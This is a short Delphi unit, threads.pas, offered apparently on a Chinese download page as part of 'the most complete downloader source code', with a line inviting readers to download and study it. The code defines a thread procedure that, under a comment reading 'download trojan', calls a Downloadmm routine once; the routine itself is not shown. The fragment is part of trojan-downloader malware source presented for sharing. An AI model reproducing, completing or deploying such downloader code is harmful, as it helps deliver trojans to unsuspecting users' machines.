threads.pas

史上最完整的下载者源代码,需要的朋友下载后可以研究

unit Threads;

interface

procedure ThreadPro(X: Integer); stdcall; // 线程函数

implementation

uses WinUnit;
 var
 c:integer =0;
procedure ThreadPro(X: Integer); stdcall;
begin
//下载木马
 if c=0 then
 begin
 c:=1;
 Downloadmm();
 end;
end;

end.